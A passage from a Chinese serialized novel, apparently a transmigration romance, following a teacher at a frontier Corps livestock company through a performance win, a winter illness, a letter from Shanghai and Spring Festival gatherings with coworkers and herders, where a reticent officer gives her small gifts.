等大家都稍微平静下来,开始享用那碗难得的羊肉汤时,舒染端着自己的碗,走到了马连长和刘书记面前。 “连长,书记,”她的声音还带着一点沙哑,“这次能取得一点成绩,全靠连里支持和同志们努力。尤其是孩子们和扫盲班的姐妹们,真是拼了命了。” 马连长正高兴,大手一挥:“是啊!都是好样的!给你们记一功!” 舒染笑了笑,话锋一转:“功劳不敢当。就是看着大家这股劲儿,我就在想,要是咱们平时的条件能稍微好一点点,大家一定能做得更好。您看这次,咱们连节目拿了奖,还要去师部,这面子是有了。可里子呢?” 她停顿了一下,看着两位领导的神色,“别的我也不多求,就想着……您看,这次咱们给连里争了光,能不能稍微解决一下这些最实际的问题?比如给我们批一点文具或者其他教具,也好让孩子们和扫盲班的姐妹们,更有劲头学习,将来给连里争更大的光?” 马连长和刘书记对视了一眼。正在兴头上,舒染的话又句句在理,还刚立了大功,这点要求实在不好拒绝。更何况,改善教学条件说出去也是他们的政绩。 刘书记沉吟了一下,点点头:“舒老师考虑得周到。这次你们确实辛苦了,也证明了教育工作的意义。这样,老马,你看……” 马连长很干脆,对着食堂里喊了一嗓子:“石会计!明天你看看库房里还有没有剩下的油毡料和木头边角,清点一下,先紧着学校用!再打报告,给学校特批一盒粉笔!娘的,咱畜牧连的娃娃,不能连粉笔都用不起!” “哎!好嘞连长!”石会计连忙应下。 舒染心里一块石头落了地,笑着说:“谢谢连长!谢谢书记!我代表孩子们谢谢您!” 这才是她费心费力搞这个课本剧最核心的目的之一。 陈远疆站在人群外围,看着舒染如何巧妙地趁胜追击、如何精准地提出要求并得到承诺。他的目光里或许会闪过一丝了然甚至欣赏。 他的嘴角极快地上扬了一下,随即恢复冷硬,转身消失在风雪中。口袋里还揣着一小瓶准备治疗冻伤的獾油。 * 一连好几天,舒染和她的演员们成了连里的风云人物。食堂打饭时,掌勺的胖师傅破天荒地给她们碗里多舀了半勺油汪汪的肉沫;走在路上,不断有认识的、不认识的职工家属笑着跟她们打招呼,竖起大拇指:“演得好!给咱畜牧连长脸了!” 孩子们更是成了小伙伴中的偶像,被簇拥着要求一遍遍讲述团部见闻和台上经历。 连一向只关心生产指标的赵卫东,碰见舒染时,那张严肃的脸上也难得地挤出一丝近似笑意的表情,干巴巴地说了句:“嗯,不错。没耽误正事,还……还行。” 刘书记和马连长更是乐得合不拢嘴,连部会议上多次表扬了舒染和参与演出的职工家属,决定拨出一点有限的经费,支持她们为去师部做准备,虽然也只是象征性的。 然而,最让舒染感到意外的认可,来自牧区。 一天下午,天气晴好,阳光照在积雪上,反射出耀眼的光。孩子们正在教室里大声朗读课文,舒染在一旁指导。忽然,教室门外传来一阵马蹄声和脚步声。 舒染抬头望去,只见老阿肯穿着一件厚重的皮大衣,怀里抱着一个用布包裹的长条形物件,正静静地站在门口,神情比以往任何一次都要柔和。 他身后跟着图尔迪,还有几个好奇张望的牧区孩子。 教室里的朗读声渐渐小了下来,孩子们都好奇地看着这位不常见的长者。 舒染连忙迎出去:“老阿肯,您怎么来了?快请进。” 老阿肯摆摆手,没有进屋,就站在门口的阳光里。他解开布包,里面露出一把冬不拉琴身,琴颈被磨得光滑油亮。 他没有多说什么,只是盘腿在教室门口的干地上坐下,将冬不拉抱在怀里,轻轻拨动了琴弦。 一阵苍凉而悠远的旋律流淌出来,不同于样板戏的热烈激昂,也不同于孩子们朗读的清脆,那是一种来自草原深处、带着风沙气息和生命韧性的古老歌谣。 他用民语低声吟唱起来。 教室里外的人都安静地听着,虽然大多数人都听不懂歌词,但那旋律中的情感却能直达人心。 阿迪力小声地用汉语给旁边的栓柱、石头翻译着零碎的词句: “……雄鹰……飞得高……因为它的眼睛……能看到很远的地方……”“……小马驹……要长大……离不开……丰美的草场……”“……男孩子……女孩子……聪明的脑袋……需要……知识的喂养……” 舒染静静地听着,看着老阿肯专注而虔诚的神情,她明白了,这不是普通的娱乐,这是一位长者用他的方式,表达着认可和祝福。 一曲终了,老阿肯抬起头看向舒染,“舒老师,你们去的那个汇演,我都听说了。别人穿得像天上的云彩。你们穿得像地上的土。” 他顿了顿,手指点了点自己的心口,“但真正的样板在这里。你做的,不是把戏搬到台上。你是把灯到了这里。” 他再次重重地点了点自己的心口。 “谢谢您,老阿肯。您的歌,比任何奖励都珍贵。” 老阿肯脸上露出一丝极淡的笑意。舒染趁机邀请:“老阿肯,以后我去拜访您的时候,您能不能给我讲讲草原上的故事,教教我弹唱这些古老的歌谣?我想教给孩子们,这也是非常宝贵的知识。” 老阿肯沉吟了片刻,看了看教室里那些睁着好奇眼睛的汉族和民族孩子,点了点头:“好。故事和歌谣也是草场的肥料。” 团部汇演的热潮渐渐平息,去师部汇演的消息也确定了,要等到来年开春,道路通畅、天气转暖之后。这意味着有了一段难得的缓冲和准备期。 舒染的生活重心重新回到了日常教学和扫盲工作上。但连续的劳累和那场大病终究是掏空了她的身体,天气愈发寒冷,她咳嗽的旧疾时有反复,脸色总透着些苍白。 那件陈远疆的军大衣,还一直没还。 这天傍晚,学生们都放学了,舒染还在教室里就着煤油灯批改作业,忍不住又掩嘴剧烈地咳嗽起来。 她正想倒点热水喝,一眼瞥见挂在墙角的军大衣,犹豫了一下,还是走过去取下,将它裹在了身上。 就在这时,教室门被推开,一股寒气卷入。陈远疆站在门口,目光第一时间就落在了舒染身上,或者说,落在了那件将她裹得严严实实的军大衣上。 舒染脸上微微一热,下意识地想脱下来:“陈干事……你来得正好,大衣我洗好了,一直说还给你……” 陈远疆的视线在她脸上停留了一瞬,眉头蹙起,没有接她递过来的大衣,反而迈步走进来,声音依旧平淡冷硬:“穿着吧。” 舒染听他那意思不让她还。舒染伸出的手僵在半空,脱也不是,穿也不是。心里却飞快地盘算着:这大衣确实暖和,眼下天寒地冻,自己病体未愈,硬要逞强归还,万一真病倒了,耽误教学是小事,去师部汇演的机会黄了才是大损失。 陈远疆走到讲台边,目光扫过桌上堆成小山的作业本和摊开的扫盲教材,语气里那丝不易察觉的责备更明显了些,“病没好利索,就把命耗在这些东西上?” 舒染拢紧了大衣,辩解道:“扫盲班刚有起色,不能停……” “没人让你停。”陈远疆打断她,手指点了点那些教材,“脑子活,办法就多。非得事事亲力亲为?” 他顿了顿,“王桂兰现在管着家属队,李秀兰也稳重了不少。她们俩是你一手带出来的,识字最多,积极性也高。让她们先顶上去,带着妇女们温习巩固,认认新字。等你养好了身子,再去教更深的东西。” 舒染闻言,权衡着:扫盲班是她一手建立起来的,是她站稳脚跟、获得认可的重要资本,硬撑下去,可能真的会再次病倒,那才是满盘皆输。 而且陈远疆的话提醒了她,或许可以借此机会看看王大姐和李秀兰的独立工作能力,如果她们能挑起担子,自己正好可以腾出手来,更专注于筹划去师部汇演这件大事——那才是能带来更大声誉和潜在好处的事情。 这时,许君君也背着药箱气喘吁吁地赶了过来,显然是有人去叫了她。她一看舒染的样子就来了气:“舒染!你怎么又不听话!咳嗽没好透就敢这么熬?扫盲班离了你这几天天塌不下来!王大姐和秀兰现在可能干了,你先让她们带着,就当是检验前期教学成果了!这是命令,我是卫生员,你得听我的!” 看着一个冷脸特派员,一个叉腰卫生员,舒染终于不再坚持,她知道他们是对的。她确实需要休息,而王大姐和李秀兰,也确实需要独当一面的机会来成长。 “好吧……”舒染不再坚持,再次试图脱下大衣:“那这大衣……” “说了让你穿着!”陈远疆的语气重了起来,他看了一眼窗外,“等天气暖和了再说。”说完,竟不再给她反驳的机会,转身大步流星地走了出去。 许君君冲他的背影做了个鬼脸,然后不由分说地把一包中药塞进舒染手里:“听见没?特派员都发话了!现在,吃药,回去休息!这大衣……哼,算他还有点良心。” 舒染最终没能还掉大衣,反而被许君君押着送回地窝子休息。 舒染找到王大姐和李秀兰,把事情一说。王大姐一拍胸脯:“舒老师,你放心吧!你咋教的,俺就咋带着大家学!保证不掉链子!” 李秀兰也用力点头:“舒老师,你好好养病,我们能行!有不懂的,我们记下来等你好了再问。” 于是,扫盲班的日常工作暂时交给了王大姐和李秀兰。舒染则将主要精力放在了学校的孩子们身上,同时开始着手慢慢整理、完善那个准备带去师部的课本剧剧本,思考着如何能做得更好。 天气越来越冷,大雪封路,连队进入了一种相对安静的状态。 舒染也终于有机会放缓脚步,一边调养身体,一边观察这片土地上的人与事。 第65章 临近年关, 一场又一场的大雪将畜牧连盖了个彻底。天地间白茫茫一片,风卷着雪沫刮过地窝子的顶棚。 出工的时间少了,人们更多地窝在屋里, 守着火墙,做着一年到头难得的休整。 舒染的咳嗽总算好了个七七八八, 但人依旧清瘦。 她正坐在教室里,守着一个小火炉,教几个留在连里过冬的孩子剪窗花。红纸粗糙, 剪刀也不甚锋利,但孩子们剪得极其认真,满眼都是对新年的期盼。 “舒老师,你看我剪的‘春’字像不像?”小丫举着一张歪歪扭扭的红纸。 “像!真好看!”舒染笑着鼓励, 帮她把边角修齐整些。 就在这时, 连部门口的一个小伙子裹着一身风雪冲进来, 手里举着一个边角磨损、盖着好几个模糊邮戳的信封, 大声喊着:“舒老师!舒老师!有你的信!上海来的!走了得有一个多月呐!” 上海? 这两个字在舒染心中漾开涟漪。教室里的孩子们也安静下来, 好奇地看着那封远道而来的信。 舒染道了谢, 接过那封信。信封很薄,纸质却比兵团常用的好了不少, 上面的字迹娟秀而陌生,属于这具身体的母亲。 她拿着信, 走回火炉边。 炉火噼啪作响,孩子们重新开始叽叽喳喳地剪窗花, 但舒染的注意力已经完全不在那上面了, 她小心翼翼地撕开了信封。 信纸只有一页,字迹密密麻麻,写得十分谨慎。信的开头是惯例的问候, 语气小心翼翼,甚至带着几分客气与生疏。 接着,笔锋一转,极其隐晦地提及了上海时下的一些情况,说“家中一切尚安,勿念”,但字里行间透着一种压抑和紧张。 然后,便是反复询问她在边疆是否真的“适应”、“吃得饱吗”、“穿得暖吗”、“劳动是否极度辛苦”,并一再强调“若实在艰难,家里再想办法”,却又透出一种无能为力。 信的末尾,母亲写道:“……染染,昔日种种,皆如云烟。如今你远在边陲,务要脚踏实地,谨言慎行,保护好自己。万勿再存不合时宜之想,安心接受当下,便是对父母最大的宽慰……” 舒染慢慢放下信纸,目光投向窗外被风雪模糊的世界。 原主家庭那点残存的记忆浮上心头——资本家小姐优渥却压抑的生活,父母谨慎而焦虑的面容……与眼前这艰苦却充满生命力的边疆图景交织在一起。 同情吗?有一点。那个家庭正被时代的洪流冲击得摇摇欲坠。 怀念吗?并没有。那不属于她舒染。她来自更遥远的未来,那个物质丰富却也可能迷失自我的时代。 而这里,固然艰苦,但每一分收获都实实在在,每一次呼吸都带着自由与创造的味道。 信中那句“安心接受”刺痛了她。她不是在“接受”,她是在开辟新天地,是在创造价值。 “舒老师,上海好玩吗?是不是有很多很多糖和漂亮衣服?”小丫凑过来,仰着小脸问,打断了她的思绪。 舒染回过神来,看着孩子清澈的眼睛,心中那点情绪忽然就沉淀了下来。 她摸了摸小丫的头,微笑着说:“上海啊,是很大,有很多楼,很多人。但是,”她顿了顿,“没有咱们这儿的天这么蓝,雪这么白,也没有你们这些聪明懂事的孩子。” 她拿起信纸,仔细地叠好,重新塞回信封。 舒染回到地窝子后,刚把信封收进抽屉,地窝子的帘子就被掀开了,一股冷风裹着许君君的身影钻了进来。 她一边跺着脚上的雪,一边摘下围巾,嘴里呵着白气:“冻死了冻死了!舒染,我那儿还剩点甘草片,给你拿过……咦?你怎么了?” 许君君的话音戛然而止,她敏锐地捕捉到舒染匆忙合上抽屉的小动作。 舒染下意识地想掩饰:“没什么啊。” 许君君却没被她糊弄过去。她瞥了一眼那紧闭的抽屉,忽然像是明白了什么,声音压低了些,带着一丝紧张和期待:“是不是……上海来信了?” 舒染沉默了一下,知道瞒不过,轻轻点了点头。 “真的?!”许君君的眼睛瞬间亮了,立刻凑到床边坐下,也顾不上冷了,急切地小声问,“叔叔阿姨怎么样了?家里都好吗?上海现在……什么情况?” 舒染看着好友眼中急切的光,心里叹了口气。她重新拉开抽屉,拿出那封信,递了过去:“你自己看吧。” 许君君几乎是抢了过去,迫不及待地抽出信纸阅读起来。 她的表情随着阅读的深入,从最初的兴奋雀跃,慢慢变得凝重,眉头也蹙了起来。 看完后,她久久没有说话,只是把信纸慢慢叠好,动作有些迟缓。 她的眼神里带着茫然和忧虑。 她家的情况和舒染家类似,舒染家收到的风声,很可能意味着她家也…… 地窝子里一时陷入了沉默。 过了好一会儿,许君君才把信递还给舒染,笑得有些勉强:“叔叔阿姨说得对……咱们在这边,好好的,就是对他们最大的安慰了。” 她顿了顿,看向舒染,“你也别多想。咱们现在跟以前不一样了。在这里,靠双手吃饭,教孩子们识字,给人看病,堂堂正正。上海……回不去就回不去了,这里……这里也挺好。” 她像是在说服舒染,也像是在说服自己。 舒染听出了好友话里的失落。她握住许君君冰凉的手,点了点头:“嗯,我知道。” 许君君反握住她的手,用力捏了。两人相视一笑,许多未尽之言都在这一笑之中。 “行了,别愁眉苦脸的了。”许君君站起身,恢复了平时的利索,“赶紧给你爸妈回信,报个平安,别让他们担心。我去给你熬药,这咳嗽必须断根!” 说完,她风风火火地又掀帘子出去了。 晚上,在地窝子昏黄的煤油灯下,舒染铺开信纸,开始回信。 她斟酌着词句,报喜不报忧。 她详细地、甚至略带夸张地描述了启明小学如何从无到有,孩子们如何从目不识丁到能读书写字;她写了热情的王大姐、细心的李秀兰、直率的许君君,写了牧区老阿肯的冬不拉和通人性的牧羊犬;她写了团部汇演的热闹和获奖的荣耀,强调“组织关怀,同志友爱,一切皆好”。 关于艰苦,她只轻描淡写地提了一句“此地风寒,然火墙甚暖”,至于劳动,则写成“与这里的人们同吃同住同劳动,深受教育,身心俱健”。 在信的末尾,她写道:“父母大人勿念。女儿在此并非接受当下,乃投身于一项伟大而光荣的事业——建设边疆,教育下一代。此间生活虽朴,然精神富足,前景广阔。万望二老保重身体,勿以女儿为念。女染,一切安好。” 写完后,她检查了一遍,觉得语气稍显疏离,又提笔在最后加了一句:“春节将至,遥祝安康。盼来信。” 她找出之前杨振华干事给的几张印着兵团风貌的宣传邮票——图案是挺拔的胡杨树,仔细地贴在信封上。这邮票,或许也能让远在上海的父母,对她的新世界有一点点印象。 第二天,雪稍小了些,舒染将厚厚的回信交给要去团部办事的通讯员,嘱托他务必寄出。 看着通讯员的身影消失在雪幕中,舒染感到一种莫名的轻松。那封来自过去的信,没有勾起乡愁,反而让她更加清晰地看到了自己的当下,以及未来的方向。 风雪依旧,但春天总会来的。 * 日子在皑皑白雪中滑向年关。畜牧连里年的味道,不是由霓虹彩灯和喧闹集市烘托的,而是从食堂提前飘出的油香、从各家各户偶尔攒下的那点白面、从孩子们身上难得一见的崭新补丁和妇女们熬夜赶制的新棉鞋底里显露出来的。 腊月二十九这天,舒染的地窝子格外热闹。 许君君、王大姐、李秀兰都挤了进来,小小的空间被火墙烘得暖洋洋,也充满了女人们的说笑声。 “舒老师,你看俺这饺子馅拌得中不中?”王大姐端着一大盆萝卜羊肉馅,殷切地让舒染闻。 那是连里年底特地宰了几只羊分下来的肉,混合着剁得碎碎的青萝卜,香气扑鼻。 “哎呀!闻着就香!我们有口福啦!”舒染笑着回应,引得大家都笑起来。 李秀兰正小心翼翼地揉着一块难得精细些的白面,准备擀饺子皮。 许君君则在一旁清洗着几颗珍藏已久的干红枣,准备塞进少数几个饺子里图个吉利。 “咱们这也算四个人一起过年了!”许君君一边洗枣一边说,“在上海的时候,哪想过年是这么过的。” 王大姐接话:“是啊,俺在老家的时候,年三十一大家子人围着一口大锅,虽然穷,也热闹。现在……唉,也不知道俺娘他们咋样了。”她语气里有一丝落寞。 李秀兰小声说:“俺就想吃口俺娘做的糖糕……” 气氛一时有些感伤。舒染连忙岔开话题,举起一颗红枣:“来来来,看谁有福气吃到包枣的饺子!来年一定红红火火!” 正说笑着,地窝子的门板被轻轻敲响了一下,然后被掀开一条缝,一股寒气钻进来。 陈远疆站在门口,没有进来的意思,手里提着一个小布袋。 “陈干事?”舒染有些意外,连忙起身。 陈远疆的目光在屋里四个女人身上快速扫过,最后落在舒染脸上,语气一如既往地平淡:“后勤库清点,多出点花生和瓜子,马连长让给……给有困难的同志分分。” 他说着,将那个小布袋递过来。袋子不大,但在这个年月,这点零嘴可是稀罕物。 舒染接过袋子,沉甸甸的,里面显然是炒过的花生和瓜子,散发着淡淡的焦香。 “谢谢连长,也谢谢陈干事。”她心里明白,这恐怕不是马连长的主意,至少不全是。 陈远疆“嗯”了一声,视线似乎在她略显单薄的棉袄上停留了一瞬,又很快移开,像是随口补充:“晚上降温,炉子烧旺点。” 说完,不等舒染再说什么,便放下帘子,脚步声很快消失在风雪里。 王大姐凑过来看了一眼袋子,啧啧两声:“哟,这花生个头挺大!陈特派员这人,看着冷,心还挺细。” 许君君撇撇嘴,压低声音对舒染说:“我看就是特意给你的。什么后勤清点,骗谁呢。” 舒染脸上有些发热,没接话,只把袋子里的花生瓜子倒出一部分在搪瓷盘里:“来,咱们边包饺子边吃!” 有了零嘴,气氛重新热闹起来。 大家一边包着饺子,一边说着闲话,交流着各自老家的过年习俗。舒染听着,偶尔插几句关于“上海年景”的记忆——自然是经过筛选和模糊处理的。 饺子包完,下锅煮上。小小的地窝子里蒸汽弥漫,夹杂着面香、肉香和女人们的笑语,将外面的严寒隔绝得远远的。 这就是舒染在边疆的第一个除夕——简单,却充满了相互依偎的暖意。 第66章 大年初一, 天刚蒙蒙亮,雪居然停了,甚至还透出了一丝微弱的阳光。 舒染早早起来, 换上了一件新的棉袄,头发也仔细梳好。她刚推开地窝子的门, 就被冷空气激得打了个哆嗦,却也觉得神清气爽。 门口雪地上,有一串新鲜的脚印, 通向她地窝子的门口。脚印旁,放着一个用旧报纸包得整整齐齐的小包裹。 舒染疑惑地拿起来,打开一看,里面竟然是五个冻得有些硬实的梨。在这冰天雪地的边疆冬天, 新鲜水果简真是难得! 舒染握着那两个冰凉的梨, 下意识想起陈远疆。 “舒老师!新年好!”孩子们的欢叫声打断了她的思绪。石头、栓柱、小丫他们穿着新棉鞋, 脸蛋红扑扑地跑来给她拜年。 舒染连忙收回心神, 笑着迎上去, 从口袋里掏出早就准备好的用红纸包着的一分两分硬币作为压岁钱:“新年好!新年好!都长大一岁, 要更听话,更用功!” 孩子们欢呼着, 宝贝似的攥着那心意满满的压岁钱跑开了。 接着,王大姐、李秀兰也起来了, 互相道着“新年好”。许君君背着药箱,也过来凑热闹, 看到舒染手里的梨, 惊讶地瞪大了眼睛,但看了看舒染的神情,聪明地没有多问, 只是意味深长地笑了笑。 上午,连里组织简单的团拜。马连长、刘书记讲了话,给大家鼓劲,展望了一下开春后的生产。 下午,舒染和许君君约着,去给几家关系好的职工和牧民拜年。 因为冬天大雪封山,牧民们从高山牧场转场到了连队北缘的一处冬牧场过冬,离连队不远。 趁着日头还好,舒染和许君君裹紧棉袄朝着牧民转场点的方向走去。 积雪很厚,走得有些艰难,但空气清冽,雪山如画,别有一番壮阔景象。快到图尔迪家毡房时,熟悉的牧羊犬吠叫着迎了上来,摇着尾巴,认出了她们。 图尔迪闻声出来,笑着将她们让进毡房。 一掀开厚重的毛毡门帘,一股浓郁而独特的热气扑面而来,瞬间驱散了外面的严寒。毡房里生着火炉,铜壶里煮着奶茶,咕嘟咕嘟地响着。 “舒老师!许阿姨!”阿迪力和阿依曼惊喜地喊道,跑过来抱着她们,高兴极了。 老阿肯也热情地打着招呼:“听说今天是你们汉族人的年,新年好啊。” 舒染把在供销社买的一点小礼品放在矮桌上,笑着回应:“是啊,虽然老阿肯你们不过春节,但是还是要祝你们接下来的,日子美美满满!” 许君君放下带来的药膏,也打趣道:“希望新的一年,老阿肯用不上我的药膏也能健健康康!” 老阿肯哈哈大笑。 “舒老师,许医生,快来烤烤火!”图尔迪的妻子连忙招呼她们在矮桌前的地毯上坐下,把装着奶疙瘩等一些吃食的器皿往前推了推,又端上来两碗滚烫的咸奶茶。 奶茶的咸香温暖了肠胃。舒染注意到火炉上架着一口大锅,里面正咕嘟着满满一锅肉汤,浓郁的肉香混合着皮芽子(洋葱)的甜香和某种不知名香料的气息,充满了整个毡房,勾得人食欲大动。 “今天煮了那仁,你们赶上了。”老阿肯指了指那口大锅,带着点民族自豪的神色。 舒染听说过,那仁是牧民们招待贵客的传统美食。 图尔迪的妻子端来一个大铜盆,里面是已经煮得酥烂、冒着热气的马肉。她熟练地将大块的马肉捞到一块干净的大木板上,然后由老阿肯亲自操刀,将肉切成薄厚均匀的片。 马肉的纤维很粗,呈现出深红色,散发着香气。 接着,图尔迪的妻子又端来一大盘提前擀好煮熟的劲道手工面片,和一大盆滚烫的,漂浮着金色油花的原汤。 切好的马肉片被铺在面片上,泼上滚烫的肉汤,再撒上一大把切碎的新鲜皮芽子。 “吃,趁热吃。”老阿肯示意她们动手,还贴心地给她们准备了筷子。 舒染和许君君看着眼前这一大盆香气扑鼻的那仁,都有些愣怔。 这吃法,这组合,对她们来说是全新的体验。 舒染先舀起一勺旁边的一碗肉汤吹了吹,喝了一口。汤味鲜美醇厚,带着马肉特有的香味和皮芽子煮化后的清甜,咸淡适中,喝下去整个身子都暖了起来。 她学着图尔迪一家的样子,用手拿起一片马肉。马肉入口,比想象中要嫩,咀嚼起来很有韧劲,越嚼越香,没有任何腥膻味。 再配上吸饱了肉汤,滑溜筋道的手工面片,以及生皮芽子那爽脆辛辣的口感,几种味道和口感在嘴里融合,产生了一种让舒染从未体验过的美味。 “好吃!”舒染忍不住赞叹。 许君君起初还有些犹豫,毕竟马肉对她们来说很陌生,但尝了一口后,眼睛也亮了,连连点头:“真香!这么多肉拌着面,这可真解馋!” 图尔迪一家看着她们喜欢,都高兴地笑起来。阿迪力和阿依曼更是吃得头也不抬,小嘴油乎乎的。 老阿肯一边吃着自己碗里的那仁,一边看着她们,“马,是我们的翅膀,也是我们的粮食。最好的肉,给朋友,给客人。” 这顿热乎乎那仁,让舒染吃得分外香甜,也分外暖心。 离开时,老阿肯又让图尔迪给她们装了一小袋风干肉,让她们路上吃。 回去的路上,尽管寒风依旧,但舒染和许君君很满足。 “我现在觉得,”许君君哈着白气说,“能在这里,好像也挺好的。” 舒染深有同感地点点头,开玩笑道:“拜了个年,还吃了顿美食,值!” 走到连队里,许君君碰了碰舒染的胳膊,朝连部后面努了努嘴。舒染望去,只见陈远疆正独自一人给马刷毛。 “哎,”许君君小声说,“我看陈远疆对你真是不一样。” 舒染看着那个方向没有说话。 在这片艰苦而辽阔的土地上,除了事业和友谊,似乎还有一些别的什么正在悄然生长。 新年伊始,万物似乎都蕴藏着新的希望。 大年初二,天色依旧晴好。连队里依旧弥漫着年节的慵懒气氛,少了平日的劳作喧嚣,多了些走亲访友的拜年声。 舒染一早起来,将地窝子里外收拾了一遍。那五个金贵的梨,她昨晚和许君君、王大姐、李秀兰各吃了一个,剩下一个,她小心地用旧棉絮包好,想着也许能多留几天。 刚收拾停当,门口就传来张桂芬的声音:“舒老师!在屋没?走啊,上我家吃晌午饭去!王大姐帮我烙了饼,秀兰帮着炖了白菜豆腐粉条!一起啊!” 舒染笑着应声出去,只见张桂芬裹得严严实实,脸上红扑扑的,带着过年的喜气。 “这怎么好意思,大姐。”舒染推辞。 “有啥不好意思的!要不是你,俺们哪能去团部露那么大脸?过年了,就得热闹热闹!”王大姐不由分说,拉着舒染就走。 张桂芬家的地窝子比舒染的稍大些,同样烧得暖烘烘的。土炕上摆着小桌,桌上果然有一大盘烙得金黄的饼,一盆热气腾腾的白菜炖粉条,里面居然还有几片肥瘦相间的腊肉,显然是年底省下来的宝贝。 舒染环顾了四周,问道:“李大哥呢?” “领着娃娃去套兔子去了!快坐快坐!没啥好东西,将就吃口热的!”张桂芬热情地张罗着。 四人围坐在小桌旁,吃着饭菜说着闲话。王大姐说起她牺牲的丈夫,眼圈红了红,但很快又振作起来:“过去了,都过去了。现在俺在连里挺好,还能帮着干点事,教教字,这日子有奔头!” 李秀兰也小声说:“俺娘写信来了,说家里都好,让俺安心在这边。跟着舒老师和王大姐,俺心里踏实。” 舒染听着,心里暖暖的。这种被需要、被信任的感觉,是任何物质享受都无法替代的。 吃完饭,舒染帮着收拾完碗筷,想着回教室看看。刚走到教室附近,却看见教室的烟囱正冒着烟。 她有些疑惑,加快脚步走过去,推开教室门。 一股暖意扑面而来。教室里的火炉烧得正旺,炉子上坐着一把旧铁壶,壶嘴正冒着丝丝白汽。 一个穿着军大衣的背影,正背对着门口,拿着火钳,仔细地调整着炉膛里的煤块。 是陈远疆。 他似乎听到动静,动作顿了一下,然后转过身。脸上依旧是那副没什么表情的样子,只有鼻尖冻得有点发红。 “陈干事?”舒染惊讶地出声,“您怎么……” “巡逻路过,看烟囱没烟,进来看看。”陈远疆语气平淡,“炉子快灭了,顺手添了点煤。” 在这个年代,地窝子和教室取暖都靠烧煤或柴火,人若离开久了,为了节省燃料和防止火灾,通常会用煤灰细细覆盖住炉膛里未燃尽的炭火,让其缓慢地阴着燃烧,保持一点底火。 这样人回来时,只需拨开灰烬,添上新煤或柴,很快就能重新烧旺,省去了重新生火的麻烦。 若是炉火彻底熄灭凉透,再想点燃,就得费一番功夫,先用易燃的刨花、细柴引火,再慢慢加煤,不仅耗时,浓烟也呛人。 舒染看着炉膛里煤块填得满满当当,烧得正旺。她心里明白,他肯定是特意过来的。 “谢谢您,又麻烦您了。”舒染连忙道谢。 陈远疆没接话,目光在教室里扫了一圈,落在那些剪了一半的窗花和孩子们写的歪歪扭扭的“新年好”的字帖上,眼神似乎柔和了那么一瞬。 他从大衣口袋里掏出一个小纸包,放在旁边的讲台上。 “给孩子们的。”他言简意赅地说,然后拿起靠在墙边的巡逻物品,“走了。”说完,他径直朝门口走去。 直到他的脚步声远去,舒染才走过去拿起那个小纸包。打开一看,里面是几十颗花花绿绿的水果硬糖。 看着那包糖,又看看烧得正旺的炉火,舒染的心像是被什么东西轻轻撞了一下。这个男人,总是这样用最沉默的方式,做着最细致的事。 下午,孩子们跑来教室玩,看到糖和暖和的屋子,都欢呼起来。舒染把糖分给大家,看着他们宝贝似的含在嘴里,笑得眼睛眯成缝。 傍晚时分,舒染正在教室里批改节前留下的少量作业,许君君找了过来,神神秘秘地把她拉出教室。 “哎,你猜我下午去连部拿药,听见什么了?”许君君压低声音,脸上带着兴奋。 “什么?” “听说啊,只是听说,”许君君强调,“师部那边可能要搞一个什么‘优秀基层教育工作者’评比,好像还有点物质奖励呢!杨振华干事好像正在整理材料,说不定……咱们连有名额呢?” 舒染的心跳忽然快了几拍。师部的评比?也许有物质奖励。 这对她来说,不仅仅是荣誉,更可能意味着实实在在的教学资源改善机会。 “消息准确吗?”她按捺住激动问。 “八九不离十!好像是开春后的事。舒染,你可得上点心,这次汇演咱们出了风头,希望很大!”许君君为她打着气。 舒染感觉心中充满了新的动力,也许她能在这个时代挣一份好前程。 年初三,按照连里的老传统,是要组织集体活动的日子,寓意着新的一年团结一心。虽然物资匮乏,但形式不能少。 上午,马连长就用大喇叭招呼开了:“全连注意了!全连注意了!能喘气的,都到大礼堂集合!咱们搞个新年联欢,热闹热闹!” 所谓的联欢会,其实就是大家各自从家里带点瓜子花生、炒黄豆、或是晒干的野枣子,聚在一起,唠唠嗑,孩子们疯跑一阵。食堂则会烧几大桶红枣姜茶,算是难得的甜水。 舒染到的时候,大礼堂上已经聚了不少人。炉子已经烧上了,虽然不是很暖和,但也不至于冻人。孩子们在到处跑着玩,笑声清脆。大人们三三两两地聚在一起,互相拜年,说着吉祥话,交换着手里那点微薄的零嘴。 赵卫东居然也来了,背着手在礼堂里溜达,脸上虽然还是没什么笑模样,但也没像平时那样催生产,算是给了新年一个面子。 舒染和许君君、王大姐、李秀兰凑在一起,找了个角落坐着。王大姐贡献出了一小把炒黄豆,李秀兰拿出了几颗舍不得吃的红枣,舒染则把陈远疆给的那包水果糖又拿出一些分给大家。许君君变戏法似的摸出一个小纸包,里面居然是几片烤得焦黄的馒头片,撒了点盐粒,香得很。 “哟,许医生,这可是好东西!”王大姐眼睛一亮。 “食堂刘师傅偷偷烤的,我顺了几片。”许君君得意地眨眨眼。 正说笑着,舒染眼角的余光瞥见陈远疆也来了。他没有往人堆里扎,而是站在稍远一点的拖拉机旁边,和马连长、刘书记说着什么,目光偶尔扫过喧闹的人群。 很快,石会计和几个小伙子抬着两大桶热气腾腾的红枣姜茶过来了。大家立刻排起了队,拿着各式各样的茶缸子、饭碗去接。 甜滋滋、热辣辣的姜茶下肚,大家的脸上都红扑扑的。 “舒老师!舒老师!”栓柱端着个破搪瓷碗跑过来,兴奋地说:“外面一会要拔河了!咱们去给他们加油吧!” 果然,礼堂外面的场子中央,几个排的壮劳力已经摩拳擦掌,准备进行传统的拔河比赛。吆喝声、笑骂声、加油声响成一片,气氛顿时热烈起来。 舒染也被孩子们拉着去看热闹。她站在人群外围,看着那些平日里沉默劳作的职工们,此刻为了集体的荣誉,或许还有食堂提供的一点小奖励,脸红脖子粗地使劲,忍不住也跟着笑了起来。 就在一片喧闹中,她感觉有人轻轻碰了一下她的胳膊。她下意识地回头,却只见陈远疆不知何时站到了她身侧稍后一点的位置,保持着一点距离,目光似乎看着拔河现场,但刚才那一下触碰绝非无意。 她正疑惑,就感觉一样冰冷的小东西被塞进了她手里。 舒染下意识地握紧。那东西带着金属的凉意。 她不敢低头看,也不敢侧头去看陈远疆,只能维持着看向前方的姿势,手指悄悄收紧,感受着那物件的轮廓——似乎是一支……钢笔。 拔河比赛正进行到最激烈的时候,欢呼声震耳欲聋。没有人注意到他们之间的交接。 陈远疆依旧面无表情地看着前方,仿佛什么都没发生。过了几秒,他像是完成了任务一般,转身离开了人群边缘,朝着连部走去。 舒染直到他的背影消失,才敢微微摊开手心。果然,那是一支崭新的黑色钢笔。 “染染!你怎么了?脸这么红?冻着了吗?”许君君凑过来,好奇地问。 